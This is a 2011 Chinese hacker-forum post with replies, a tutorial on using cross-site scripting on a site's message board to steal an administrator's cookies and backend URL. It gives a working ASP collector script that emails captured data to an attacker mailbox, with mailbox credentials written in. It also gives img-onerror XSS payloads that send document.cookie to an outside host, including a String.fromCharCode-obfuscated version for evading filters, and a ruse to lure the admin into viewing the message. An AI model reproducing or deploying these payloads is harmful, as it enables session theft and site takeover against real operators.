请选择 进入手机版 | 继续访问电脑版

噩靈戰隊

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 673|回复: 7

[原创] XXS获取管理后台实战 [复制链接]

管理员

一无所有

Rank: 10Rank: 10Rank: 10

发表于 2011-11-7 17:26:39 |显示全部楼层
作者:Trojan [ESST]
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
N年前的文章,乱七八糟的我就都删减了 只留可以看的部分。
仔细看过后发现怎么都突破不了,以为所有的文件都包含了这个conn.asp 呢,就放弃了.谁知道过了没几天叉叉兵就把我的平台首页改了.追问过后才发现,其实还有文件没有仔细看过.其实并不是很多文件都包含了这个通用防注入.漏洞代码就不放出了.要不大牛都来日了.然后就在找叉叉兵怎么得到SHELL的,后来发现留言板那问题很严重..可以XSS.既然有了注入点可以加管理,还少了个后台地址.就想跨站得到后台地址.当时犹豫ASP不太熟悉,就用JSP写了一个.刚才碰巧XXB在线,就直接要了份ASP代码.其实也就是个类似QQ马发信的代码.request接受数据,然后创建文件流
  1. <%
  2. dizhi=request("dizhi")
  3. SaveFile="pass.txt" '保存获取数据的TXT
  4. IfSendMail=true '是否使用邮件发送,如果True则发送邮件不保存TXT 如果false则保存txt而不发送邮件
  5. YourSendMail="czsteel@163.com" '修改成你自己的邮箱地址。
  6. YourSendMailUser="cal" '邮箱登陆用户名
  7. YourSendMailPass="a" '邮箱登陆密码 (以上3项邮箱、账号、密码改成自己的) 这里用我的备用邮箱给你们测试,24小时后我修改密码...
  8. YourSendMailServer="smtp.163.com" '邮件服务器
  9. '注意哦,你自己的邮箱地址必须要开通pop/smtp功能。否则不能正常发信。
  10. '另外就是你的空间必须支持Jmail.
  11. YourMailTitle="a" '邮件标题
  12. YourRecvMail="a" '收取截获数据的邮箱,建议使用QQ邮箱,可以实时提示,让你第时间得到要的信息

  13. sub sendmail(content)
  14. On error resume next
  15. dim JMail
  16. Set JMail = Server.CreateObject("JMail.Message")
  17. JMail.Logging = True
  18. JMail.Charset = "gb2312"
  19. JMail.ContentType = "text/html"
  20. JMail.From = YourSendMail
  21. JMail.FromName = ""&YourSendMailUser
  22. JMail.MailServerUserName = YourSendMailUser
  23. JMail.MailServerPassword = YourSendMailPass
  24. JMail.Priority = 1
  25. JMail.AddRecipient YourRecvMail
  26. JMail.Subject = YourMailTitle
  27. JMail.Body = content
  28. JMail.Send("smtp.163.com")
  29. Set JMail = nothing
  30. If err then
  31. Response.write "发送失败!请检查配置!并确认你的服务器是否支持Jmail!"
  32. ' &GetPostStr
  33. else
  34. Response.write "发送成功!"&GetPostStr
  35. '&GetPostStr &url
  36. end if
  37. end sub

  38. GetPostStr=Request.QueryString("cookie")&"|"&dizhi
  39. if GetPostStr="" then
  40. Response.write "None!"
  41. end if
  42. if ifsendmail then
  43. StrTemp=Replace(GetPostStr,"=",":")
  44. StrTemp=Replace(StrTemp,"&","<br>")
  45. StrTemp=StrTemp&"|"&Request.ServerVariables("Remote_Addr")
  46. sendmail(StrTemp)
  47. 'ip = Request.ServerVariables("Remote_Addr")
  48. 'WriteTxt(Request.ServerVariables("Remote_Addr"),StrTemp)
  49. else
  50. set F=server.CreateObject("scripting.filesystemobject")
  51. set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
  52. TempStr=Split(GetPostStr,"&")
  53. for TempI=0 To Ubound(TempStr)
  54. I.WriteLine(Replace(TempStr(TempI),"=",":"))
  55. next
  56. I.WriteLine(now())
  57. I.WriteLine("--------------------------------")
  58. I.close
  59. Set F=nothing
  60. end if
  61. Function WriteTxt(ip,Str)
  62. set F=server.CreateObject("scripting.filesystemobject")
  63. set I=F.OpenTextFile(server.mappath("SendIp.txt"),8,True,0)
  64. I.WriteLine(now())
  65. I.WriteLine(ip)
  66. I.WriteLine(Str)
  67. I.WriteLine("--------------------------------")
  68. I.close
  69. Set F=nothing
  70. end Function
  71. %>
复制代码

这样就实现了创建txt的功能.下面构造下跨站.<script>被过滤了.别的没过滤貌似.想获取后台就是知道他当前的document.url 就可以了.直接作为参数穿走.复制内容到剪贴板代码:
  1. <img src="x"/**/onerror="eval(img = new Image(); img.src = " http://bbs.x-xox-x.com/url.asp?cookie="+document.cookie+"&dizhi="+document.URL;img.width=0;img.height=0)"></img>
复制代码

简单解释下.一个Img标签说明是图片地址是x出错了执行后面的话,创建了一个img的对象,然后调用Img的src属性等.主要传参.我把代码发到了留言板发现不执行.估计还给过滤了.那就把代码转换成asci码,利用String.fromCharCode在解析回来.代码如下复制内容到剪贴板代码:

  1. <img src="x"/**/onerror="eval(String.fromCharCode(105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,120,120,98,105,110,103,46,99,111,109,47,102,117,99,107,121,111,117,46,97,115,112,63,99,111,111,107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,38,100,105,122,104,105,61,34,43,100,111,99,117,109,101,110,116,46,85,82,76,59,105,109,103,46,119,105,100,116,104,61,48,59,105,109,103,46,104,101,105,103,104,116,61,48))"></img>
复制代码

这样留言后加上管理员QQ,说管理员你们服务太差劲了,我不想多说了,去看我给你们的留言把.然后等着上钩把.这个方式试用在可以留言,有跨站,不知道后台地址的情况下.


若要潜水,当初何必加入
若要放弃,当初何必奋斗
若要言败,当初何必拼搏
若要遗忘,当初何必珍惜
                         --噩靈戰隊

使用道具 举报

Rank: 7Rank: 7Rank: 7

发表于 2011-11-7 17:43:05 |显示全部楼层
插死死

使用道具 举报

Rank: 1

发表于 2011-11-7 19:03:31 |显示全部楼层
xss更正下。
这样留言后加上管理员QQ,说管理员你们服务太差劲了,我不想多说了,去看我给你们的留言把.然后等着上钩把.这个方式试用在可以留言,有跨站,不知道后台地址的情况下.

这句话好逗!

使用道具 举报

Rank: 1

发表于 2011-11-7 21:06:39 |显示全部楼层
围观ing
xss 用好还是很牛x的。。。

使用道具 举报

Rank: 4

发表于 2011-11-7 23:11:14 |显示全部楼层
膜拜 是个好地方

使用道具 举报

Rank: 10Rank: 10Rank: 10

论坛元老 游戏高手 优秀版主 终身荣誉

发表于 2011-11-8 13:49:29 |显示全部楼层
N久前久膜拜过了
这篇文章都有段历史了

使用道具 举报

Rank: 1

发表于 2011-11-9 11:06:43 |显示全部楼层
特来支持

使用道具 举报

Rank: 1

发表于 2011-11-19 13:40:23 |显示全部楼层
认真学习学习。。。

感谢Trojan分享...

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

Archiver|手机版|噩靈戰隊 ( 黑ICP备11001077号 )

GMT+8, 2012-5-21 06:51 , Processed in 1.011445 second(s), 16 queries .

Powered by Discuz! X2

© 2001-2011 Comsenz Inc.

回顶部